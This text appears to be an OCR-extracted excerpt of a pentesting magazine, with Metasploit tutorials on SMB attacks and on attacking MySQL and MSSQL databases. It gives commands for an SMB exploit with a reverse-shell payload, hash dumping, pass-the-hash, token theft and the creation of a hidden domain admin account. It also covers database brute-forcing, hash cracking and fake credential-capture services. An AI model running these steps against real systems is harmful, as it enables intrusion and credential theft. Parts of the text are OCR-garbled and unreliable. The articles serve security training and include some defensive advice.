mation and data over a computer’s local area net-
work.

[3] Used to allow applications to communicate over
HTTP without using Microsoft’s old IIS (Internet In-
formation Server).

[4] TCP Wrapper is a client side software solution to
provide firewall features. It monitors all incoming
packets to the machine and if an external node at-
tempts to connect, the software checks to see if
the node is authorized based on various specified
criteria.

www.hakin9.org/en

Notes

My set-up is actually running Backtrack 5 R3 and
Windows 7 in VMware Fusion VMs on an Apple
MacBook Pro 13” with 16GB of RAM. They are
running on a closed virtual network with connec-
tion to the MacBook host but without connection to
an outside network.

Nmap is capable of MUCH more than is de-
scribed in this article. Keep playing with different
options, listed in the MindMap above, to discover
what else it can do (Figure 8).

ANDREW JONES

Andrew Jones (ajones@vmtraining.net)
is a former US Air Force Network Warfare
Defense instructor. He is now a trainer for
VMTraining, specializing in cloud and vir-
tualization technologies, as well as all
types of network security.
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Metasploit -

How to

Play with Smb and
Authentication

Ok folks, when you are reading this title you are thinking
“Hey, this stuff is old crap, it's impossible who this attack
are yet working in native windows 2008 R2 Active Directory

Domain..”

the state of the art infrastructure. And | want
to show you...

In my experience a lot of infrastructures have two
big problems, they are using local admin credential
with the same password in some or all systems of
the network and maintain some servers (or clients)
unpatched, with these two common mistakes we
can completely Pown the infrastructure.

Two pillars of best practices are just patching and
a different password for local admin for each host
and it is possible to retrieve a lot of best practices
from the Internet and in many books about security
architecture, but a lot of system admin don’t use
them, why?

In most case because the system admins are un-
educated in security, or because they are lazy, or
because they are too busy..

B ut...You are wrong. This stuff still working in

Beginning the attack
The first step is to find the vulnerable host, we can
do this in a lot of manners, the ROE in the con-
tract with your customers are the driver, in some
case we can use tools like nessus, if the noise is
acceptable, otherwise the choice of old style hack-
ers is to work with nmap with a very small range
of ports and with a long interval between one port
and another, something like a ‘paranoid’ scan on
the nmap timing template.

In my test lab | have one host with installed win-
dows 2k8 sp2 unpatched, this host is vulnerable, |
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will try to use an attack against the smb2, the ex-
ploit ms090 050, the exploit is stable enough, but
in some cases can crash the target, for this rea-
son be careful in production environments. Before
starting with the attacks we will review the test lab
configurations, we have three windows hosts, two
of them have installed windows server 2k8 R2 and
one is with windows server 2k8 sp2, the two host
2k8R2 are on the 2k8 Active Directory domain, the
domain mode and the forest mode are windows
2k8, the host with windows server 2k8sp2 is a
workgroup server with file sharing enabled, look at
this table:

DC2k8R2 - 192.168.254.201 - Domain Controller and
DNS server

SRV2k8R2 - 192.168.254.202 - Member Server

SRV2k8sp2 - 192.168.254.204 - Stand Alone Server -
File Sharing

We have also an attacking machine, in my case a
Backtrack 5 R2 x64 with IP 192.168.254.1.

| like the Backtrack machine because is not nec-
essary to install a lot of tools, it has the most popu-
lar and used tools directly on-board.

| start the metasploit framework in my BT5R2
machine, normally | like to work with msfconsole
because this is the most interactive from the envi-
ronment of metasploit framework, but if you prefer
the GUI, is possible to work with Armitage.

Now | configure the first exploit:
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use exploit/windows/smb/ms09 050 smb2 negotiate
func_index

and I will set the payload and the other
parameters

set PAYLOAD windows/meterpreter/reverse tcp

set RHOST 192.168.254.204 - the remote host to
attack

set LHOST 192.168.254.1 - the host who receive the
reverse shell

and | run the attack in background with exploit -j
(Figure 1).

The attack sends the exploit packet and | will get
my session, normally | like to work with meterpret-
er, if it is possible (Figure 2).

The exploit worked well (hey dude, don’t sleep...
remember, this exploit, in some cases, doesn’t
work properly... it is also possible to get blue screen
in target machine; Figure 3).

Now we have the control of the target machine,
but | don’t tell you the auxiliary skill necessary in
a real pentest, for example the manner to migrate
from one process to another...

| want to start immediately with the search of
good credentials for switch to another machine, |
will use the script hashdump, this script seek the
syskey in the windows register and after dump the
password hash from the SAM database.

Ok, write run hashdump and wait... (Figure 4).

Look the administrator password:

Figure 1. Run the attack

Figure 2. Work with Meterpreter
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Administrator:500:aad3b435b51404eeaad3b435b51404ee:
a87f3a337d73085¢c45f9416be5787d86

This is the built in Administrator, the sid is 500
and this is the LM hash:

aad3b435b51404eeaad3b435b51404ee

Do you know this hash? | think yes, this is the
hash for null password, this happens because the
LM hash is disabled.

The second chunk of password is the NTLM
password hash :

a87£3a337d73085c45£9416be5787d86

In my lab the password isn’t so strong, but in a
real pentest the password can be very hard to
crack, if you use long and complex password,
which no dictionary word, the time necessary to
crack the password is over the time who you have
in a pentest...sorry? What are you saying to me?
Rainbow tables? Mmmmh in my production en-
vironment | use password with 10 or 12 charac-
ters...do you have rainbow for this? | need another
way to Pown other machine without cracking the
passwords.

I will use the metasploit pass-the-hash attack,
| try to use directly the hash no matter if the pass-
word is complex.

The pass-the-hash attack is a very destructive at-
tack, the big problem is that this is not a vulnerabil-

Figure 3. /t does not always work

Figure 4. Run hashdump
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ity, but a feature, in order to patch this vulnerability
it is necessary to rewrite completely the authenti-
cation structures, this feature is the basic feature
which permits to share resource in a workgroup.
The only way to avoid the attack is to not share the
same password for the same user in different hosts.

In my test lab the SRV2k8sp2 machine is not
member of the domain, but the Administrator pass-
word of this machine is the same of the Domain
Member Server SRV2k8R2.

In metasploit this attack is based on the tool of
Sysinternals Psexec.

Normally, after use of hashdump script | copy
and paste the hash in a text file on my desktop.

After the meterpreter command background | set up
the attack for the second host, | use the exploit/win-

Figure 7. Target machine
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dows/smb/psexec and the payload windows/meter-
preter/reverse_https; The other options are (Figure 5):

set RHOST 192.168.254.202

set LHOST 192.168.254.1

set SMBUser Administrator

set SMBDomain srv2k8r2

set SMBPass aad3b435b51404eeaad3b435b51404ee:a87£3
a337d73085c45£9416be5787d86

Ok, the exploit worked... After few seconds we
have the second session of our attack, with the
meterpreter command sessions —i 2 | interact with
this second session (Figure 6).

Now | have Powned a host that is member of
the domain, but my current privilege is local admin,
without domain permissions. | need to escalate
privileges, with a quick look of running program in
my target machine with the command ps | can see
the program with PID 1432, vds.exe, this program
is running with privileges of administrator of the do-
main 2k8, | hope to find the token of this user in
this target machine (Figure 7).

Figure 9. Steal the token
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Figure 10. There is no account
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How to Play with Smb and Authentication

To do this | need to load the “incognito” extension,
this extension is very funny, with incognito it is pos-
sible to steal tokens of users and is also possible to
create a user or to put this user in a global or do-
main local group...Very interesting... (Figure 8).

I can use list_token to see the tokens available
in this machine and after it is possible to use these
founded tokens with impersonate token com-
mand, alternatively, | can use the command steal_
token (Figure 9).

If I invoke this command with the PID of the pro-
cess | get the token used from the process, in my
case | get the domain admin token.

Now | want to add my own administrator to the
attacked domain, my user will have a very stealthy
name, “hacker”.

This account doesn’t exist in 2k8 domain (Figure
10). I try to create...I try to use add_user command
from incognito...

add user Hacker PasswOrd

but nothing happened in the 2k8 domain... This is
because despite that | am a domain admin, | am
not in a domain controller, the newly created us-
er is simply a local user in this target host... For-

Figure 11. Executing the command

Figure 12. Specify the IP of a Domain Controller

$2 Group Policy ... Security Group ... Members in this group can...

J. Guest User Built-n account for guest ...
J Hacker User
33_, RAS and IAS ... Security Group ... Serversin thisgroupcan...
#2 Read-only D... Security Group ... Members of this group are...
L. cnfrwar | lmmr

Figure 13. Similar command output

Figure 14. Hacker User
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tunately the incognito add_user option has a “-h”
for using this command versus a remote host, in
my case | want to use this command in my target
Domain Controller, because the D.C don’t have lo-
cal user this is the same that executing the com-
mand in the domain (Figure 11).

| will try again with this options and specifying the
IP address of a Domain Controller (Figure 12):

add user Hacker PasswOrd -h 192.168.254.201

The command output is the same as the previous,
| need to see in A.D (Figure 13). Very good, now
the user “hacker” is on my domain.

But this user is only a domain user, with no ad-
ministrative privileges, | try to add some privileg-
es with two commands of incognito (Figure 14 and
Figure 15):

add localgroup user administrators hacker -h
192.168.254.201

add group user “domain admins” hacker -h
192.168.254.201

And now my newly created user has administra-
tor and domain admin, as you can see, | have
used two different commands, because the “do-
main admin” group is a global group, while ad-
ministrators group is a domain local group (not
really domain local, is a built-in local, but for my
job, is the same...)

With this technique | can add (or remove) any
group which | want, | need only to know if the group
is domain local or global. In a real pentest we need
to understand the naming convention in use and
after we can create a very stealthy account.

2]
Didin | Eovionment | Sessions |  Remotecortml |
Remote Desitop Services Profle | Persondl Vitusl Desiton | COM+ |

‘Generl | Address | Acoount | Profile | Teleshones | Orgarization  Member OF
Member of
Hame | &etive Directory Domain Services Folder
Administrators 2B Jocal/Bultin
Doman Admins X local/|Users
Domain Lsers Kb loca/Users
Add I Remave

Figure 15. Adding privileges
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Real life
Is not so strange that some meterpreter com-
mands or loading extensions doesn’t working

properly.

What happen in this case?
Normally nothing, all, or most command have a
workaround to get the same result, below some
examples:

The meterpreter command “shell” is not work-
ing? No problem, we can use the generic meter-
preter command for the command execution:

execute -f cmd.exe -c -H -i

and now you have your shell...

The incognito extension is a shortcut, if it don’t
work, you can use some shell commands:

To create a user:

net user hacker2 PasswOrd /add /domain

@
£3

Figure 16. Log-on to Domain Controller
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To nest the new user:

net localgroup administrators hacker2 /add /domain
net group “domain admins” hacker2 /add /domain

At this point you are the king of the domain and
you can do everything you want.

In my lab | try the simplest way, now | can log-
on to my attacked Domain Controller with terminal
server connection, now | am a regular user.... (Fig-
ure 16)

In my test lab, | can use rdesktop for connect to
the Domain Controller, because, like a lot of real
servers windows server 2k8, the configuration of
remote desktop connections is without NLA (Net-
work Level Authentication; Figure 17).

Otherwise we must install and use other tools (or
you can use one windows attacking machine)

Defense and logging
The first step to do is a procedure to quickly patch
all the systems fast, but in real world this is not so
simple, for a lot of reasons.

In yours infrastructures, you might have a lega-
cy application which is vital for your business? Or
an equally important legacy hardware? With this
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Figure 18. Leaving traces 1
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consideration it is simple to understand why, in
many situations, is possible to find unpatched sys-
tems in very important environments and, | believe
that it always pays to look for this type of vulner-
ability at the beginning of a pentest.

For the second type of attack used in my demo,
the only solution is to find a manner for managing
the password for local admin for every host, which
manner? | don’t know, there are many possible so-
lution and you need to look which one is the better
for your infrastructure.

Another important notice is that ALL activities
that we have accomplished have left a trace in
the event log: event id 4625 e 4776 for smb/smb2
attack, with the IP address of the attacking ma-
chine, the creation of user and the group nesting
performed with incognito can creates the event id
4728, 4720, 4722, 4738, 4724 and 4732. In this
regard a very interesting reading is in the website
ultimatewindowssecutity.com (Figure 18 and Fig-
ure 19).

The use of IDP/IPS can detect and stop some
metasploit attacks, in the same manner we need
to remember that it is true that meterpreter work in
memory, and for this reason it is stealth, but other-
wise, when something is uploaded to disk, many
antivirus can detect the attack. For example, every
time that you try to get persistence, you put some-
thing on the target disk.

For trapping the creation of users, or the nesting
in privileged groups you can use some scripts, or
software for monitoring appropriate event Id or you
can use various users provisioning tools that can
trap every unexpected modification.
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How to use Sqlploit

Databases nowdays are everywhere, from the smallest
desktop applications to the largest web sites such as
Facebook. Critical business information are stored in
database servers that are often poorly secured.

control over a company’s or an organiza-

tion’s infrastructure. He could even sell this
information to a company’s competitors. Imagine
the damage that something like this could cause. In
this article, we will see how we can use Metasploit
to attack our database servers.

Metasploit is a very powerful tool. Actually, is
not just a tool, it is a collection of tools. It is a
whole framework. It has gained incredible popu-
larity in the last few years because of its success
in the fields of penetration testing and informa-
tion security. It includes various tools, from vari-
ous scanners to exploits. It can be used to dis-
cover software vulnerabilities and exploit them.
With database servers having so many security
weaknesses, Metasploit has numerous auxilia-
ry modules and exploits to assist you with your
database server penetration testing. Metasploit
is available for all popular operating systems
so what operating system you are already us-
ing might not be a problem. In this article we are
going to use Metasploit’s auxiliary modules and
exploits to complete various penetration testing
tasks against popular database servers, such as
Microsoft SQL Server and MySQL. | hope you en-
joy it!

S omeone an to this information could have

Attacking a MySQL Database Server
MySQL is the world’s most used open source re-
lational database management system. Its source
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code is available under the terms of the GNU Gen-
eral Public License and other proprietary license
agreements. MySQL is the first database choice
when it comes to open source applications cre-
ation. MySQL is a very secure database system,
but as with any software that is publicly accessible,
you can’t take anything for granted.

Discover open MySQL ports

MySQL is running by default on port 3306. To dis-
cover MySQL you can do it either with nmap or
with Metasploit’s auxiliary modules.

The NMAP way

Nmap is a free and open source network discovery
and security auditing utility. It can discover open
ports, running services, operating system version
and much more. To discover open MySQL ports
we use it in this way:

nmap -sT -sV -Pn -p 3306 192.168.200.133

Figure 1. Discovering MySQL servers — The nmap way
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Parameters:

-sT: TCP connect scan

-sV: Determine Service version information

-Pn: Ignore Host discovery

-p 3306: Scan port 3306

Scanning the whole network:

nmap -sT -sV -Pn --open -p 3306 192.168.200.0/24
Parameters:

--open: Show only open ports (Figure 2)

The Metasploit way

Metasploit offers auxiliary module mysqi version.
This module enumerates the version of running
MySQL servers. To use it type:

use auxiliary/scanner/mysql/mysql version

To use this scanner you have to set its options. Type:

show options

Figure 2. Discovering MySQL servers — The nmap way

Figure 3. mysql_version auxiliary module options

Figure 4. mysql_version options after setting them up
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How to use Sqlploit

To see a list of available options (Figure 3).
Set the RHOSTS parameter:

set RHOSTS 192.168.200.133
or

set RHOSTS 192.168.200.0/24

Set the RPORT parameter to a different value if
you believe that the MySQL Server is listening on
a different port:

Set RPORT 3333

Increase THREADS value for a faster scanning
(Figure 4):

set THREADS 50

Now, all you have to type is:
run

and hit enter (Figure 5).

As you can see from the screenshot we have a
MySQL version 5.0.51a running at 192.168.200.133!

Brute forcing MySQL

There is an auxiliary module in Metasploit called
nysql_login Which will happily query a mysql serv-
er for specific usernames and passwords. The op-
tions for this module are: Figure 6.

Figure 5. mysql_version scanner in action

Figure 6. mysql_login module options
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To start your attack you have to set the RHOSTS
option and choose a username and a password.

SET RHOSTS 192.168.200.133
SET USERNAME root

Leave the password blank. Your options, after ex-
ecuting the commands above, should seem like
Figure 6. mysql _10gin Will try to login with blank
password and with the username as the pass-
word. Maybe we are lucky before we start brute-
forcing database with passwords lists (Figure 7).

We were lucky! The administrator is completely
ignorant. But what if we weren't so lucky? We then
need a password list file. We can create one by
ourselves or download one from the Internet. Let's
create one!

Creating a password list

To create our password list we are going to use
crunch. If you are using BackTrack, crunch is al-
ready installed. Open Privilege Escalation > Pass-
word Attacks > Offline Attacks > crunch. Otherwise

download it from here http://sourceforge.net/proj-
ects/crunch-wordlist/.
Execute:

./crunch 6 8 abcdel23456 -o passfile.lst

The above command will create passwords be-
tween 6 and 8 characters long, consisting of ascii
characters a,b,c,d,e and numbers 1,2,3,4,5,6 and
will save the list into file passfile.Ist (Figure 8).

Using password lists

Now that we have our password list stored in /
pentest/passwords/crunch/passfile.lst, W€ Can use
itin mysgl login module.

Set PASS FILE /pentest/passwords/crunch/passfile.lst

Increase also the number of concurrent threads
for a faster brute-force attack.

SET THREADS 50

run

nysql _login (Figure 9) module offers 2 other op-
tions, vser r1LE @nd usereass rFriE. YOU Can use
a username file list to try various username values
by setting the user rire oOption accordingly. With
UsErPASS _FILE parameter you can use a file which
contains both usernames and passwords in the
same file separated by space and one pair per line.

Bypass MySQL Authentication
Module mysql authbypass hashdump eXp|OitS a pass-
word bypass vulnerability in MySQL and can

Figure 9. mysql brute-force attack using password list
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Figure 11. mysql server hashes and usernames
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extract usernames and encrypted passwords
hashes from a MySQL server. To select it type:

use auxiliary/scanner/mysqgl/mysgl hashdump

Set RHOSTS and THREADS option:

set RHOSTS 192.168.200.133
set THREADS 50

and run the module. We can also set parameter
username.

set username root

Unlucky! (Figure 10)

Dump MySQL Password Hashes

mysql_hashdump €xtracts the usernames and en-
crypted password hashes from a MySQL server.
One can then use jtr nysql_fast module to crack
them. The module is located in auxiliary/scanner/
mysql. TO use it set RHOSTS option to our target’s
IP address and increase THREADS value. If you
have managed to reveal root password then set
also options USERNAME and PASSWORD. Run
the module to get your precious results! (Figure 11)

Cracking passwords with John The Ripper

Metasploit offers module jtr mysq1 fast.This mod-
ule uses John the Ripper to identify weak pass-
words that have been acquired from the mysq1_
hashdump Module. John the Ripper is a free and
Open Source software password cracker, avail-

Figure 12. jtr_mysql_fast module options

Figure 13. mysql capture module options
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able for many operating systems such as Unix,
Windows, DOS, BeOS, and OpenVMS. Its primary
purpose is to detect weak Unix passwords. After
having acquired mysql hashes with mysql hashdump
module, load jtr nysql fast module and run it.

use auxiliary/analyze/jtr mysql fast

run

This module offers options such as setting a cus-
tom path for john the ripper. The option that inter-
ests you the most is the Wordlist option, which is
a path to your desired password list (Figure 12).

Getting the schema

A database schema describes in a formal lan-
guage the structure of the database, the orga-
nization of the data, how the tables, their fields
and relationships between them must be defined
and more. In general, database schema defines
the way the database should be constructed.
Metasploit has the module mysq1 schemadump t0 get
MySQL schema. mysql schemadump iS located un-
der auxiliary/scanner/mysql. 10 US€ it you have to
set RHOSTS, USERNAME and PASSWORD op-
tions. If you are scanning more than one hosts in-
crease THREADS value!

Let’s go Phishing

Phishing is an attempt to steal sensitive infor-
mation by impersonating a well known organiza-
tion. In the same manner you can trick a user to
steal her MySQL credentials. One of the abilities
of Metasploit is this, mimic known services and
capture user credentials. Among the various cap-
ture modules there is a module called mysql. This
module provides a fake MySQL service that is de-
signed to capture MySQL server authentication
credentials. It captures challenge and response
pairs that can be supplied to Cain or John the Rip-
per for cracking.

To select the capture module type:

use auxiliary/server/capture/mysql

This module offers some interesting options.
You can set CAINPWFILE option to store cap-
tured hashes in Cain&Abel format or JOHNPW-
FILE to store hashes in John The Ripper format.
Leave SRVHOST option as it is, 0.0.0.0, to listen
on the local host. You can also set the SRVVER-
SION option, which is the version of the mysql
server that will be reported to clients in the greet-
ing response. This option must agree with the true
mysql server version on the network if you don’t
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want to being detected. You can also configure
the module to use SSL! (Figure 13)

Run the module and connect to the capture mysql
server from another computer on the network to
see how it is working. To connect to a mysql server
open a terminal and type:

mysql -h ip address -u root -p

Enter any password, for now, in mysqgl’'s prompt
and see what is happening in Metasploit! (Figure
14)

Metasploit has captured the hash and now this
hash is stored in cain and john format in files /tmp/
john @nd /tmp/cain. These are the files that | have
chosen.

Cain Format
root NULL
94e243cab3181cvef7385253011651369196a928

112263447569708899%agbbfcddnef£2113434455 SHAL

John format
root:Smysqlna$1112263447569708899%agbb
fcddneff2113434455 *
94e243cab3181cvef7385253011651369196a928

Figure 14. mysql capture module in action

Figure 15. Exploit’s and payload’s options

Figure 16. mysql_yassl_hello exploit payloads
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MySQL Exploiting

MySQL database system is a very secure piece
of software. Metasploit doesn’t offer many MySQL
exploits. Although some exploits exist.

YaSSL Exploits

YaSSL is a lightweight embedded SSL library.
Metasploit offers 2 exploits for this library. The
mysgl yassl getname and the mysqgl yassl hello. The
mysql yassl getname €Xploits a stack buffer overflow
in the yaSSL 1.9.8 and earlier and mysq1_yassi_
hello exploits a stack buffer overflow in the yaSSL
1.7.5 and earlier. To use any exploit you have to
select it:

use exploit/linux/mysql/mysqgl yassl getname
use exploit/linux/mysql/mysql yassl hello
use exploit/windows/mysql/mysql yassl hello

As you can figure, the last exploit is for windows
systems. After selecting your desired exploit, you
have to select the payload. Each exploit offers a
variety of payloads. You have to choose the most
suitable for your target. To see a list of available
payloads for the exploit type (Figure 15):

show payloads

The most successful exploits usually are the
reverse _tcp payloads where the target machine
connects back to you. Each payload offers some
options. By typing

show options

you will see exploit’s and payload’s options (Fig-
ure 16).

Other MySQL Exploits

We should mention here two more exploits that are
available for MySQL systems that run on Windows
servers. The mysgl payload and the scrutinizer
upload exec. The first exploit, mysql payload, CIe-
ates and enables a custom UDF on the target. On
default Microsoft Windows installations of MySQL
5.5.9 and earlier, directory write permissions are
not enforced, and the MySQL service runs as Lo-
calSystem. This module will leave a payload ex-
ecutable on the target system and the UDF DLL,
and will define or redefine sys_evai () and sys_exec ()
functions. The scrutinizer upload exec module ex-
ploits an insecure config found in Scrutinizer Net-
Flow & sFlow Analyzer, a network traffic monitoring
and analysis tool. By default, the software installs a
default password in MySQL, and binds the service
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to “0.0.0.0". This allows any remote user to login to
MySQL, and then gain arbitrary remote code ex-
ecution under the context of ‘SYSTEM'.

We are in!

And now what? Metasploit offers two modules that
will assist you to enumerate a MySQL service or
execute sqgl queries. All you need is a valid user-
password pair. nysql_enum allows for simple enu-
meration of MySQL Database Server and nysq1_sq1
allows for simple SQL statements to be executed
against a MySQL instance. To select them, type:

use auxiliary/admin/mysqgl/mysql enum
and execute the command
show options

to get a list of available options (Figure 17).
To use mysql_sq1 execute (Figure 18):

use auxiliary/admin/mysql/mysql sql
and

show options

Attacking a Microsoft SQL Server

Microsoft SQL Server (MSSQL) is a relational da-
tabase management system (RDBMS) used to
store, retrieve and manage information. As with
many Microsoft’s products, SQL Server has many

How to use Sqlploit

security weaknesses. Let’s start by identifying run-
ning SQL servers on the network.

Discover open MSSQL ports

MSSAQL is running by default on port 1433. To dis-
cover SQL Server you can use either nmap or
Metasploit’'s auxiliary module.

The NMAP way

To discover open MSSQL ports we execute the fol-
lowing command:

nmap -sT -sV -Pn -p 1433 192.168.200.133

Usually administrators, when they need more than
one instances of SQL server they run the second
instance at port 1434.

nmap -sT -sV -Pn -p 1433,1434 192.168.200.133
Parameters:

-sT: TCP connect scan

-sV: Determine Service version information

-Pn: Ignore Host discovery

-p 1433,1434: Scan port 1433 and 1434

Scanning the whole network

nmap -sT -sV -Pn --open -p 1433,1434 192.168.200.0/24

Parameters:

--open: Show only open ports

Figure 19. mssql_ping module options

Figure 18. mysql_sql module options
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Figure 20. mssql_ping module in action
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The Metasploit way

Metasploit offers auxiliary module mssq1 ping. This
module discovers running MSSQL services. To
use it, type:

use auxiliary/scanner/mssql/mssql ping
Type:
show options

for a list of available options (Figure 19).

To discover all running MSSQL services on the
net, set RHOSTS value equal to 192.168.200.0/24,
assuming that your target network is in this range,
increase threads value for a faster scanning and
run the module (Figure 20).

Brute forcing MSSQL

Auxiliary module nssql_10gin is working in the
same manner as nysql login does. It will query
the MSSQL instance for a specific username
and password pair. The options for this module
are: Figure 21.

The default administrator's username for SQL
server is sa. In the options of this module, you
can specify a specific password, or a password
list, a username list or a username-password list
where usernames and passwords are separated
by space and each pair is in a new line. Having set
your options simply run the module and wait for
your results! You can create your own password
list file, like we did in the first chapter where we
used mysql login module.

Figure 21. mssql_login options

Figure 22. mssql_hashdump module
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Dump MSSQL Password Hashes

mssql_hashdump €xtracts the usernames and en-
crypted password hashes from a MSSQL server
and stores them for later cracking with jtr mssq1
fast. This module also saves information about the
server version and table names, which can be used
to seed the wordlist. The module is located in aux-
iliary/scanner/mssql. To use it set RHOSTS option
to our target’s ip address and increase THREADS
value to 50. If you have managed to reveal root
password then set also options USERNAME and
PASSWORD. Run the module! (Figure 22).

Cracking mssql passwords with John The
Ripper

Metasploit offers module jtr mssq1 fast. This mod-
ule works in the same manner as jtr mysql fast
does. It uses John the Ripper to identify weak
passwords that have been acquired from the
mssql_hashdump Module. After having acquire mssq|l
encrypted hashes with mssq1_hashdump module, load
jtr mssql fast and runit.

use auxiliary/analyze/jtr mssqgl fast
and
run

You should set the Wordlist option which is the
path to your desired password list (Figure 23).

Getting Microsoft SQL Server schema

Metasploit offers the module mssq1l schemadump tO
retrieve MSSQL schema. mssql schemadump is lO-
cated under auxiliary/scanner/mssql. This mod-
ule attempts to extract the schema from a MS-
SQL Server Instance. It will disregard builtin and
example DBs such as master,model,msdb, and
tempdb. The module will create a note for each
DB found, and store a YAML formatted out-
put as loot for easy reading.To use it you have
to set RHOSTS, USERNAME and PASSWORD

Figure 23. jtr_mssql_fast module options
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options. If you are scanning more than one hosts
increase the THREADS value to get results faster.

Phishing with MSSQL

Metasploit has also a mssql capture module, called
nssql. This module provides a fake MSSQL service
that is designed to capture MSSQL server authen-
tication credentials. The module supports both the
weak encoded database logins as well as Windows
login (NTLM). To select the capture module type:

use auxiliary/server/capture/mssql

You can set CAINPWFILE option to store cap-
tured hashes in Cain&Abel format or JOHNPW-
FILE to store hashes in John The Ripper format.
Leave SRVHOST option as it is, 0.0.0.0, to lis-
ten on the local host. You can configure the mod-
ule to use SSL (Figure 24). Run the module and
connect to the capture mssql server from another
computer on the network to see how it is working.
To connect to a mssql server open your Microsoft
SQL Server management studio and try to login
to the running service (Figure 25). Metasploit has
captured the username and the password the us-
er entered to login to the fake MSSQL service.

Exploiting the Microsoft world
Metasploit offers some MSSQL exploits. Let’s take
a look.

SQL Server 2000
SQL server 2000 is a very old version of Micro-
soft SQL Server and is hard to find it on Production

Figure 24. mssql capture module options

Figure 25. Login attempt captured by mssql capture module
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environments nowdays. ms02 039 slammer €Xploits
a resolution service buffer overflow. This overflow
is triggered by sending a udp packet to port 1434
which starts with 0x04 and is followed by long
string terminating with a colon and a number. To
select it for use simply type:

use exploit/windows/mssql/ms02 039 slammer

Another exploit module for SQL Server 2000 is
ms02 056 hello. ms02 056 hello IS an exploit
which will send malformed data to TCP port 1433
to overflow a buffer and possibly execute code on
the server with SYSTEM level privileges. To se-
lect it, type:

use exploit/windows/mssql/ms02 056 hello

SQL Server 2000 - SQL Server 2005

ms09 004 sp replwritetovarbin anNd ms09 004 sp
replwritetovarbin sqli €xploit a heap-based buf-
fer overflow that occur when calling the undocu-
mented “sp_replwritetovarbin” extended stored
procedure. This vulnerability affects all versions of
Microsoft SQL Server 2000 and 2005, Windows
Internal Database, and Microsoft Desktop Engine
without the updates supplied in MS09-004. Micro-
soft patched this vulnerability in SP3 for 2005. To
use these exploits you type:

use exploit/windows/mssql/ms09 004 sp

replwritetovarbin
or

use exploit/windows/mssql/ms09 004 sp
replwritetovarbin sqgli

As with any Metasploit module, you can type
show options

to get a list of available options (Figure 26).

Figure 26. ms09_004_sp_replwritetovarbin_sqli module
options
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Type
show payloads

to get a list of available of payloads for the select-
ed exploit.

SQL Server database systems

Metasploit offers the module, expiocit/windows/
mssqgl/mssql payload, which executes an arbitrary
payload on a Microsoft SQL Server by using the
“xp_cmdshell” stored procedure. Three delivery
methods are supported. The original method us-
es Windows ‘debug.com’. Since this method in-
vokes ntvdm, it is not available on x86 64 sys-
tems. A second method takes advantage of the
Command Stager subsystem. This allows using
various techniques, such as using a TFTP server,
to send the executable. By default the Command
Stager uses ‘wcsript.exe’ to generate the execut-
able on the target. Finally, ReL1K’s latest method
utilizes PowerShell to transmit and recreate the
payload on the target.

Another interesting exploit module that can be
applied in all SQL Server versions is the expioit/
windows/mssql/mssql payload sqli. This module will
execute an arbitrary payload on a Microsoft SQL
Server, using a SQL injection vulnerability. Once
a vulnerability is identified this module will use xp
cmdshe11l tO upload and execute Metasploit pay-
loads. It is necessary to specify the exact point
where the SQL injection vulnerability happens. You
should use a “reverse” payload on port 80 or to any
other outbound port allowed on the firewall.

Figure 28. mssql_findandsampledata module options
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From inside

Metasploit offers various modules that will assist
you to enumerate a MSSQL service, execute sql
queries, retrieve useful data and many more. All
you need is a valid user-password pair. nssql_enum
will perform a series of configuration audits and se-
curity checks against a Microsoft SQL Server da-
tabase. mssql sql and mssql sqgl file will allow for
simple SQL statements to be executed against a
MSSQL/MSDE or multiple SQL queries contained
within a specified file. To select them, type:

use auxiliary/admin/mssqgl/mssgl _enum
or

use auxiliary/admin/mssqgl/mssql sql

or

use auxiliary/admin/mssqgl/mssql sql file

and execute the following command to see the
options (Figure 27)

show options

Sample Data

There is an amazing module called mssql
findandsampledata. 1hiS module will search through
all of the non-default databases on the SQL Server
for columns that match the keywords defined in the
TSQL KEYWORDS option. If column names are
found that match the defined keywords and data
is present in the associated tables, the module will
select a sample of the records from each of the af-
fected tables. You have to set the the sample size
by configuring the savere stz option. Your results
will be stored in CSV format. Type

use auxiliary/admin/mssql/mssql findandsampledata
and

show options

Figure 29. mssql_idf module options
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Executing Windows Commands

If you have managed to find a valid username
— password pair, the most desired thing that you
would like to do is to execute a command on the
compromised machine. Metasploit offers mod-
ule auxiliary/admin/mssqgl/mssql exec which will ex-
ecute a Windows command on a MSSQL/MSDE
instance via the xp_cmdshell procedure. All you
need is the username and password!!

Data mining

If you need to search for specific information in
SQL Server databases there is a module that can
make your life easier. Its name, mssq1_idar, and you
will find it under auxiliary/admin/mssqgl/. This mod-
ule will search the specified MSSQL server for ‘in-
teresting’ columns and data. The module is work-
ing against SQL Server 2005 and SQL Server
2008 (Figure 29).

Conclusion

Databases are the most important part of today’s
computing systems. They usually contain all the
information needed to run a company or organi-
zation. Therefore it is necessary to be as safe as
possible. Metasploit framework is just one tool of
many out there, that offers the appropriate scripts
to compromise a database system. Databases are
software that must be accessed by applications
running on the Internet, that's why they must be
guarded by firewalls, use encryption and power-
full passwords and the whole system (database
and operating system) must be checked every day
for new updates and upgrades. The best choice
would be to allow access to your database only
from your intranet and/or vpn. Try not to expose
your database directly to the web. Close all your
database system ports now!

GEORGE KARPOUZAS
George Karpouzas is the co-found-
er and owner of WEBNETSOFT, a Soft-
ware development, Computers securi-
ty and IT services company in Greece.
\ He is working as a software developer
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\' ) tration tester, security researcher, in-
formation security consultant and
software developer at WEBNETSOFT. He holds a bachelor’s
of science in computer science from Athens University of Eco-
nomics and Business. You can find the answers to any security
questions on his blog http:// securityblog.gr.
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When you think of an operating system to run pen testing
tools on, you probably think of Linux and more specifically
BackTrack Linux. BackTrack Linux is a great option and one of
the most common platforms for running pen testing tools. If
you are a Mac user, then you would most likely run a virtual

machine of BackTrack Linux.

hile his is a great option, sometimes it is
W nice to have your tools running on the

native operating system of your comput-
er. Another benefit is to not having to share your
system resources with a virtual machine. This also
eliminates the need to transfer files between your
operating system and a virtual machine, and the
hassles of having to deal with a virtual machine.
Also by running the tools within OS X, you will be
able to seamlessly access all of your Mac OS X
applications.

My attack laptop happens to be a MacBook Pro
and | started out running VirtualBox with a Back-
Track Linux virtual machine. | recently started in-
stalling my hacking tools on my MacBook Pro.
| wanted to expand the toolset of my Mac, so |
started with Nessus, nmap, SQLMap, and then |
installed Metasploit. My goal is to get most if not
all of the tools | use installed on my MacBook Pro
and run them natively within OS X. Since Mac
OS X is a UNIX based operating system, you get
great tools that comes native within UNIX operat-
ing systems such as netcat and SSH. You also
have powerful scripting languages installed such
as Perl and Python. With all of the benefits and
features of the Mac OS X, there is no reason to
not use Mac OS X for your pen testing platform. |
was really surprised to not see a lot of information
on the subject of using Mac OS X as pen testing/
hacking platform. Metasploit was the toughest ap-
